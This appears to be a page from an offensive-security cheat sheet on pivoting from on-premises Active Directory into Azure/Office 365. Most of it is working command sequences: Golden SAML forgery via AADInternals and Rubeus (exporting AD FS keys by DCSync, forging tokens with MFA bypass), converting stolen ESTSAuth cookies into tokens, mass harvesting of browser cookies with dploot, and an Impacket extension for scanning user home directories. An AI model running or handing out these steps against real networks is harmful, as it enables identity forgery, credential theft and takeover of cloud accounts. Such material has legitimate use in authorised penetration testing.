On-Prem → Cloud
Dumping AAD Connect Creds
Tools
Forging AD FS SAML Tokens (Golden SAML)
Install AADInternals v0.9.3:
PS > Install-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
PS > Import-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
Check if Azure is configured as a party trust:
PS > Install-WindowsFeature ADFS-Federation
PS > Import-Module ADFS
ADFS > Get-ADFSRelyingPartyTrust | select Identifier | fl
Get AD FS config:
AADInt > $ADFSConfig = Export-AADIntADFSConfiguration -Hash <ADFS_SVC_NT_HASH> -SID <ADFS_SVC_SID> -Server ADFS01.megacorp.local
PS > [xml]$xml=$ADFSConfig
PS > $group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
PS > $container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
PS > $parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
PS > $base = "LDAP://CN=$group,$container,$parent"
PS > $base
Get private key object GUID:
PV3 > Get-DomainObject -LDAPFilter "(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=megacorp,DC=local" | select objectGuid
Ensure you have enough privileges to DCSync:
Cmd > Rubeus.exe asktgt /user:DC01$ /domain:megacorp.local /dc:DC01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /domain:megacorp.local /dc:DC01.megacorp.local /service:LDAP/DC01.megacorp.local /nowrap /ptt
DCSync the key:
AADInt > $ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.megacorp.local -ObjectGuid <GUID> -Credentials "dummy"
PS > [System.BitConverter]::ToString($ADFSKey)
Generate the token signing certificate:
AADInt > Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
PS > ls ADFS_*
Get AD FS trust issuer as well as on-prem users' immutable cloud IDs:
ADFS > $Issuer = (Get-ADFSProperties).Identifier.OriginalString
PV3 > Get-DomainUser | select UserPrincipalname, @{Name="ImmutableId"; Expression={"$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray()))"}}
Generate forged SAML request-response for WS-Federation (SOAP-based) protocol interchange:
AADInt > $token = New-AADIntSAMLToken -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]] [-ByPassMFA]
AADInt > New-WSFedResponse -SAMLToken $token
Generate forged SAML request-response for SAML 2.0 (XML-based) protocol interchange:
AADInt > $token = New-AADIntSAML2Token -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]]
AADInt > $resp = New-AADIntSAMLPResponse -SAML2Token $token
AADInt > [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resp))
Generate forged SAML request-response, impersonate and login:
AADInt > Open-AADIntOffice365Portal -TokenType WSFED/SAMLP -ImmutableId <BASE64_ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN [email protected]] [-ByPassMFA] [-Browser Chrome]
Pass-the-Cookie
Refresh Token from ESTSAuth* Cookies
Automated with TokenTacticsV2:
PS > Get-AzureTokenFromESTSCookie -ESTSAuthCookie <COOKIE_VALUE>
Mass Cookies Harvesting
Collect with dploot and decrypt with a backup key (similar to HEKATOMB):
$ ls tickets/
SRV01.ccache SRV02.ccache PC01.ccache
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 dploot browser -d megacorp.local -no-pass -use-kcache "$comp.megacorp.local" -pvk ../key.pvk -show-cookies > "browsers_$comp.out"; done
Search for ESTSAUTHPERSISTENT
cookies:
$ grep -nr --include '*.out' ESTSAUTHPERSISTENT -A3 | grep -e Creation -e Expires
Mass Hidden Directories Searching
Impacket's smbclient.py extension (searches for hidden directories in every user's home):
def do_hidden(self, args=None):
hidden = []
for item1 in self.smb.listPath(self.share, '\\Users\\*'):
longname1 = item1.get_longname()
if item1.is_directory() and longname1 not in ('.', '..'):
dir0 = ntpath.join('\\Users', longname1)
try:
ls = self.smb.listPath(self.share, ntpath.join(dir0, '*'))
except:
continue
else:
for item2 in ls:
longname2 = item2.get_longname()
if item2.is_directory() and longname2 not in ('.', '..') and longname2.startswith('.'):
hidden.append((item2, ntpath.join(dir0, longname2)))
result = ''
for item, name in hidden:
result += 'drw-rw-rw- '
result += f'{datetime.fromtimestamp(item.get_mtime_epoch()).strftime("%Y/%m/%d %H:%M:%S"):>21} '
result += ' '
result += name
result += '\n'
print(result.strip())
Collect hidden directories:
$ ls tickets/
SRV01.ccache SRV02.ccache PC01.ccache
$ echo 'use c$\ninfo\nhidden' > cmd
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 smbclient.py -k -no-pass "$comp.megacorp.local" -inputfile cmd -outputfile "hidden_$comp.out"; done
Search for hidden directories that start with .az
:
$ grep -nr --include '*.out' '\Users' | grep -i '\.az'
Last updated